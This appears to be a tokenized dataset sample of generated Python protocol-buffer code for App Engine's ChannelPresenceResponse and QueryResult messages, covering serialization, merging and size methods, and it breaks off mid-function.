"Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Clear_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "clear", "\\u", "applica", "tion", "\\u", "key_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clear", "\\u", "is", "\\u", "available_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clear", "\\u", "error", "\\u", "code_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Unc", "heck", "ed_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Var", "Int32_", "(_", "16_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Boolean_", "(_", "self_", "._", "is", "\\u", "avail", "able", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Var", "Int32_", "(_", "24_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Var", "Int32_", "(_", "self_", "._", "error", "\\u", "code", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Parti", "al_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "is", "\\u", "avail", "able", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "16_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Boolean_", "(_", "self_", "._", "is", "\\u", "avail", "able", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "error", "\\u", "code", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "24_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Var", "Int32_", "(_", "self_", "._", "error", "\\u", "code", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Tr", "y", "Merge_", "(_", "self_", ",_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "d_", "._", "avail_", "(_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tt_", "=_", "d_", "._", "get", "Var", "Int32_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tt_", "==_", "10_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "applica", "tion", "\\u", "key_", "(_", "d_", "._", "get", "Prefixe", "d", "String_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "tt_", "==_", "16_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "is", "\\u", "available_", "(_", "d_", "._", "get", "Boolean_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "tt_", "==_", "24_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "error", "\\u", "code_", "(_", "d_", "._", "get", "Var", "Int32_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "tt_", "==_", "0_", ")_", ":_", "raise_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Buffer", "Decode", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "skip", "Data_", "(_", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ",_", "prefix_", "=_", "\"\"_", ",_", "print", "Ele", "m", "Number_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ":_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "applica", "tion", "\\u", "key", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "self_", "._", "Deb", "ug", "Format", "String_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "is", "\\u", "avail", "able", "\\u_", ":_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "is", "\\u", "avail", "able", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "self_", "._", "Deb", "ug", "Format", "Bool_", "(_", "self_", "._", "is", "\\u", "avail", "able", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "error", "\\u", "code", "\\u_", ":_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "error", "\\u", "code", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "self_", "._", "Deb", "ug", "Format", "Int32_", "(_", "self_", "._", "error", "\\u", "code", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "res_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "sparse_", ",_", "maxt", "ag_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "tuple_", "(_", "[_", "sparse_", "._", "get_", "(_", "i_", ",_", "default_", ")_", "for_", "i_", "in_", "xrange_", "(_", "0_", ",_", "1_", "+_", "maxt", "ag_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kq", "uer", "y", "\\u", "result_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "TEXT_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "\"", "Error", "Code", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ":_", "\"", "query", "\\u", "result", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "TYPES_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "NUMERIC", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "STRING_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "1_", ",_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "MAX", "\\u", "TYPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "STYLE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "STYLE", "\\u", "CONTE", "NT", "\\u", "TYPE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "PROTO", "\\u", "DESCRIPT", "OR", "\\u", "NAME_", "=_", "'", "app", "hostin", "g", ".", "Chan", "nel", "Presence", "Respons", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "contents_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "query", "\\u", "result", "\\u_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "contents_", "is_", "not_", "None_", ":_", "self_", "._", "Merge", "Fro", "m", "String_", "(_", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "query", "\\u", "result", "\\u", "size_", "(_", "self_", ")_", ":_", "return_", "len_", "(_", "self_", "._", "query", "\\u", "result", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "query", "\\u", "result", "\\u", "list_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "query", "\\u", "result", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "query", "\\u", "result_", "(_", "self_", ",_", "i_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "query", "\\u", "result", "\\u_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mutable", "\\u", "query", "\\u", "result_", "(_", "self_", ",_", "i_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "query", "\\u", "result", "\\u_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "query", "\\u", "result_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "query", "\\u", "result", "\\u_", "._", "append_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "query", "\\u", "result_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "query", "\\u", "result", "\\u_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Merge", "From_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "x_", "is_", "not_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "x_", "._", "query", "\\u", "result", "\\u", "size_", "(_", ")_", ")_", ":_", "self_", "._", "add", "\\u", "query", "\\u", "result_", "(_", ")_", "._", "Copy", "From_", "(_", "x_", "._", "query", "\\u", "result_", "(_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Equals_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "x_", "is_", "self_", ":_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "self_", "._", "query", "\\u", "result", "\\u_", ")_", "!=_", "len_", "(_", "x_", "._", "query", "\\u", "result", "\\u_", ")_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "e1_", ",_", "e2_", "in_", "zip_", "(_", "self_", "._", "query", "\\u", "result", "\\u_", ",_", "x_", "._", "query", "\\u", "result", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "e1_", "!=_", "e2_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Is", "Initialized", "_", "(_", "self_", ",_", "debug", "\\u", "strs_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", "in_", "self_", "._", "query", "\\u", "result", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "p_", "._", "Is", "Initialized", "_", "(_", "debug", "\\u", "strs_", ")_", ":_", "initialized_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "initialized_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "1_", "*_", "len_", "(_", "self_", "._", "query", "\\u", "result", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "self_", "._", "query", "\\u", "result", "\\u_", ")_", ")_", ":_", "n_", "+=_", "self_", "._", "length", "String_", "(_", "self_", "._", "query", "\\u", "result", "\\u_", "[_", "i_", "]_", "._", "Byte", "Size_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size", "Parti", "al_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "1_", "*_", "len_", "(_", "self_", "._", "query", "\\u", "result", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "self_", "._", "query", "\\u", "result", "\\u_", ")_", ")_", ":_", "n_", "+=_", "self_", "._", "length", "String_", "(_", "self_", "._", "query", "\\u", "result", "\\u_", "[_", "i_", "]_", "._", "Byte", "Size", "Parti", "al_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Clear_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "clear", "\\u", "query", "\\u", "result_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Unc", "heck", "ed_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "self_", "._", "query", "\\u", "result", "\\u_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Var", "Int32_", "(_", "self_", "._", "query", "\\u", "result", "\\u_", "[_", "i_", "]_", "._", "Byte", "Size_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "query", "\\u", "result", "\\u_", "[_", "i_", "]_", "._", "Output", "Unc", "heck", "ed_", "(_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Parti", "al_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "self_", "._", "query", "\\u", "result", "\\u_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Var", "Int32_", "(_", "self_", "._", "query", "\\u", "result", "\\u_", "[_", "i_", "]_", "._", "Byte", "Size", "Parti", "al_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "query", "\\u", "result", "\\u_", "[_", "i_", "]_", "._", "Output", "Parti", "al_", "(_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Tr", "y", "Merge_", "(_", "self_", ",_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "d_", "._", "avail_", "(_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tt_", "=_", "d_", "._", "get", "Var", "Int32_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tt_", "==_", "10_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "length_", "=_", "d_", "._", "get", "Var", "Int32_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp_", "=_", "Proto", "col", "Buffer_", "._", "Decoder_", "(_", "d_", "._", "buffer_", "(_", ")_", ",_", "d_", "._", "pos_", "(_", ")_", ",_", "d_", "._", "pos_", "(_", ")_", "+_", "length_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "skip_", "(_", "length_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "query", "\\u", "result_", "(_", ")_", "._", "Tr", "y", "Merge_", "(_", "tmp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "tt_", "==_", "0_", ")_", ":_", "raise_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Buffer", "Decode", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "skip", "Data_", "(_", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ",_", "prefix_", "=_", "\"\"_", ",_", "print", "Ele", "m", "Number_", "=_", "0_", 